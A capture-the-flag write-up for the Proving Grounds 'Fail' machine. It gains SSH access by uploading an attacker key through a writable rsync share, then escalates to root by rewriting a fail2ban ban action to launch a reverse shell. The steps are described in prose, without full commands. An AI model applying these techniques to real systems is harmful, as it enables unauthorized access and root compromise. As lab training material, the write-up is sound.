Proving Grounds | Fail

SCANNING:

Host is up, received user-set (0.24s latency).
Scanned at 2021–08–20 03:55:57 EDT for 5034s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
873/tcp open rsync syn-ack (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ENUMERATION:

On Port 837, we can see that it runs rsync. Rsync, which stands for “remote sync” is a tool mostly used to backup files remotely and in an efficient manner.

Refer to this site for enumeration → https://book.hacktricks.xyz/pentesting/873-pentesting-rsync

Nmap has an NSE to enumerate rsync and list shares for it.

Once we have the respective share names, we can enumerate what files and directories it has on it.

Additionally, we can download the entire share with it’s contents.

But most importantly, we can upload files on the share.

EXPLOITATION:

At this stage, we know three main things that could provide us a low privilege shell:

1. We have access to the home directory for the user fox
2. We can upload to the fox’s home directory.
3. ssh port is open.

All three points to uploading an .ssh directory wherein we place our attacker machine’s public key, so we can ssh as the user fox without providing his/her password.

Firstly, let’s generate the ssh keys and a password using ssh-keygen

Secondly, let’s create a dummy .ssh directory and and place our public key inside and rename it as authorized_keys.

Next, upload it the dummy .ssh directory to fox’s home directory. Finally, you can ssh into the machine as fox.

Privilege Escalation:

From the results of our enumeration script, we can see that we have write privileges to the /etc/fail2ban../../ directories because we are part of the group fail2ban.

Fail2ban is an Intrusion Prevention System (IPS) that monitor logs for common services (smtp, ssh, ftp, apache, etc.) to spot patterns in authentication failures. If Fail2ban multiple login failures, it acts upon it based on the action placed by the administrator.

The actions to be performed by the IPS are detailed on the configurations found on /etc/fail2ban/action.d/

If we look at /etc/fail2ban/action.d/iptables-multiport.conf, there is an actionban variable which is the action being performed once the IPS notices malicious activity done by the IP address in subject.
At the moment, the action seems to be blacklisting the IP address temporarily.

As part of the fail2ban group, we have write access to this file and consequently can alter the command being performed when the ban happens.
Furthermore, root is running this process and will surely be the one to perform the action.

Because we have control of whatever command the root user will perform, we can a number of techniques to escalate our privileges. In my case, I will just create a reverse shell.

Finally, we have to trigger the ban by manually sshing to the target host multiple times, or automate the process using hydra.